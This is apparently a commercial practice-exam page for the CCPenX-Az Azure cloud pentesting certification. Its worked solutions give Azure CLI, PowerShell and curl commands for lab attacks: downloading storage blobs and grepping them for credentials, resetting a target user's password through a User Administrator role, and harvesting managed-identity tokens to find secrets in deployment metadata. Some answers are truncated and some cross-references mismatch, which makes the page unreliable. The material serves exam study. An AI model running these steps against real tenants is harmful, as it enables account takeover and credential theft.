The SecOps Group CCPenX-Az Practice Exam Questions & Answers
The SecOps Group CCPenX-Az Exam Details
Key details for this exam, checked against the published exam outline
- Exam Code
- CCPenX-Az
- Full Name
- Certified Cloud Pentesting eXpert - Azure
- Issuing Body
- The SecOps Group
- Question Format (Our Bank)
- Multiple Choice
- Delivery
- Online proctored, on-demand, from anywhere via VPN
- Eligibility
- Recommended: 5+ years professional pentesting experience and 12+ months cloud security experience
- Validity
- Does not expire. version is documented
- Full Question Set
- 31 questions Get All Questions
Free CCPenX-Az Practice Questions
Each question shows the correct answer and an explanation of why it is right
Question 1 Domain 2 Identity and Access Management (IAM)
SIMULATION
A compromised developer account has Reader access to a resource group. Enumerate all Azure resources in that resource group and identify the exposed App Service name.
finance-reporting-api
Detailed Solution:
Set the resource group:
RG='rg-prod-apps-eastus'
List resources:
az resource list \
--resource-group '$RG' \
--output table
Expected output:
Name ResourceGroup Location Type
---------------------- --------------------- ---------- -------------------------------
finance-reporting-api rg-prod-apps-eastus eastus Microsoft.Web/sites
prod-reportstore01 rg-prod-apps-eastus eastus Microsoft.Storage/storageAccounts
kv-finance-prod rg-prod-apps-eastus eastus Microsoft.KeyVault/vaults
The exposed App Service is:
finance-reporting-api
Question 2 Domain 2 Identity and Access Management (IAM)
The compromised service principal has Contributor access to a resource group but no direct Key Vault data-plane role. Can it immediately read Key Vault secret values?
A. Yes, Contributor includes secret read permissions B. No, Contributor does not automatically grant Key Vault secret data-plane read C. Yes, if the vault is in the same resource group D. No, service principals cannot access Key Vault
Detailed Solution:
Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.
Test secret read:
az keyvault secret show \ --vault-name kv-finance-prod \ --name db-password \ --query value \ --output tsv
Expected failure:
Forbidden
Correct answer:
Question 3 Domain 3 Azure Resource Misconfigurations
SIMULATION
A storage account allows public blob access. Enumerate containers and identify the public container that exposes backup files.
public-backups
Detailed Solution:
Try listing containers using Azure CLI:
az storage container list \
--account-name prodreportstore01 \
--auth-mode login \
--output table
If anonymous access is allowed, test via blob endpoint:
az storage blob list \
--account-name prodreportstore01 \
--container-name public-backups \
--auth-mode key \
--output table
In a lab, you can also test the public URL pattern:
https://prodreportstore01.blob.core.windows.net/public-backups/
Expected exposed container:
public-backups
Final answer:
public-backups
Get the complete CCPenX-Az question set
$20$40
Question 4 Domain 3 Azure Resource Misconfigurations
SIMULATION
Carefully enumerate the accessible Azure Blob Container to locate a file containing credentials for an App Registration within the tenant. What is the Application/Client ID of the discovered App Registration?
The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.
Detailed Solution:
List blobs inside the accessible container:
az storage blob list \
--account-name excaliburstore \
--container-name sensitive-files \
--sas-token '$SAS' \
--query '[].name' \
--output table
Download all files locally:
mkdir blobloot
az storage blob download-batch \
--account-name excaliburstore \
--source sensitive-files \
--destination blobloot \
--sas-token '$SAS'
Search the downloaded files for application credentials:
grep -RniE 'clientId|appId|applicationId|clientSecret|tenantId|secret|password' blobloot
On Windows PowerShell:
Select-String -Path .\blobloot\* -Pattern 'clientId|appId|applicationId|clientSecret|tenantId|secret|password' -CaseSensitive:$false
A typical file may look like this:
{
'tenantId': 'f015f36d-c07f-41fb-9bde-fffc3a22ee8b',
'clientId': '
'clientSecret': '
}
The clientId / appId value is the answer.
Final Answer:
Use the clientId / appId value found in the blob credential file.
Question 5 Domain 3 Azure Resource Misconfigurations
SIMULATION
Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?
The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.
Detailed Solution:
Since the second compromised user is a User Administrator, abuse that role to reset the password of the target user.
az ad user update \
--id [email protected] \
--password 'NewP@ssw0rd12345!' \
--force-change-password-next-sign-in false
Now authenticate as the target user.
az login -u [email protected] -p 'NewP@ssw0rd12345!'
Confirm the login context:
az account show
Check what Azure resources this user can see:
az resource list --output table
Check role assignments:
az role assignment list --all --output table
If the user has storage data-plane permissions, enumerate storage accounts:
az storage account list --output table
If the storage account is known from the lab chain, use it directly:
az storage table list \
--account-name excaliburstore \
--auth-mode login \
--output table
Query each table:
az storage entity query \
--account-name excaliburstore \
--table-name <table-name> \
--auth-mode login \
--output json
A faster method:
for table in $(az storage table list --account-name excaliburstore --auth-mode login --query '[].name' -o tsv); do
echo ' $table '
az storage entity query \
--account-name excaliburstore \
--table-name '$table' \
--auth-mode login \
--output table
done
Search the output for:
Flag
SAS
token
container
storage
secret
The flag discovered in this stage is the Q7 answer.
Final Answer:
Use the Flag{...} value returned from the accessible table/storage data after logging in as [email protected].
Question 6 Domain 3 Azure Resource Misconfigurations
SIMULATION
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity.
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl '$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/&client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df' \
-H 'X-IDENTITY-HEADER: $IDENTITY_HEADER'
For Windows PowerShell inside Kudu:
$uri = '$env:IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/&client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df'
$response = Invoke-RestMethod -Uri $uri -Headers @{
'X-IDENTITY-HEADER' = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = '7403ec86-c39d-4d80-9efa-35c7580ecefa'
$rg = 'Excalibur-Resources'
Invoke-RestMethod `
-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-01' `
-Headers @{ Authorization = 'Bearer $token' }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments?api-version=2021-04-01' `
-Headers @{ Authorization = 'Bearer $token' }
For each deployment name returned, inspect it:
$deploymentName = '<deployment-name>'
Invoke-RestMethod `
-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName?api-version=2021-04-01' `
-Headers @{ Authorization = 'Bearer $token' }
Also check deployment operations:
Invoke-RestMethod `
-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName/operations?api-version=2021-04-01' `
-Headers @{ Authorization = 'Bearer $token' }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H 'Authorization: Bearer $TOKEN' \
'https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.Resources/deployments/<deployment-name>/operations?api-version=2021-04-01' \
| jq '.. | strings' | grep -iE 'password|secret|credential|sumit|flag'
Final Answer:
Use the leaked secret/password value returned from the deployment metadat
a. Do not guess this; it is lab-generated.
Question 7 Domain 2 Identity and Access Management (IAM)
From inside the App Service environment, request an Azure Resource Manager token using the managed identity endpoint. Which resource value should be requested for Azure Resource Manager access?
A. https://graph.microsoft.com/ B. https://management.azure.com/ C. https://vault.azure.net/ D. https://storage.azure.com/
Detailed Solution:
For Azure Resource Manager API calls, the token audience/resource must be:
https://management.azure.com/
Inside App Service Kudu/console, request the token:
curl '$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/' \ -H 'X-IDENTITY-HEADER: $IDENTITY_HEADER'
The response contains:
{ 'access_token': '<jwt-token>', 'resource': 'https://management.azure.com/', 'token_type': 'Bearer' }
Correct option:
What the The SecOps Group CCPenX-Az Exam Covers
Exam domains verified against the Official The SecOps Group CCPenX-Az exam guide, last checked November 2026.
Domain 1 Enumeration & Reconnaissance
Master Azure DNS enumeration, IP and host discovery, and portal endpoint identification. Discover Entra ID tenants, enterprise applications, and identify publicly accessible resources including blob URLs and app services.
Domain 2 Identity and Access Management (IAM)
Enumerate Entra ID users, groups, and roles, then abuse misconfigured role assignments. Target Conditional Access and MFA bypass techniques, exploit federated identities, and manipulate Azure AD tokens including refresh and access token abuse.
Domain 3 Azure Resource Misconfigurations
Exploit misconfigured storage accounts, key vaults, and logic apps. Abuse Azure App Service environments, Automation Accounts, and managed identities. Extract secrets from custom script extensions and leverage resource graph for reconnaissance.
Domain 4 Vulnerability Identification
Identify SSRF, RCE, IDOR, and insecure deserialization in Azure hosted applications. Detect overprivileged OAuth apps and misconfigured API Management. Analyze RBAC misconfigurations and exploit Azure Arc or Bastion weaknesses.
Domain 5 Exploitation Techniques
Steal and reuse Azure tokens via compromised services or proxies. Extract secrets from key vaults and app configs. Execute lateral movement through function apps and automation accounts, then establish persistence using app registrations and service principals.
CCPenX-Az Exam FAQ
Common questions about the exam itself
What makes CCPenX-Az harder than a standard Azure administration exam?
Do I need Azure certifications before attempting CCPenX-Az?
Which domain in CCPenX-Az do most candidates struggle with most?
How long should I prepare for the CCPenX-Az exam?
What exactly happens on exam day for CCPenX-Az?
Can I retake CCPenX-Az if I fail?
How long does a CCPenX-Az certification stay valid?
What job roles is CCPenX-Az aimed at?
How does CCPenX-Az compare to CCPenX-AWS?
What happens if I score between 60 and 75 percent on CCPenX-Az?
Other The SecOps Group Exams
Free practice questions for more The SecOps Group certification exams
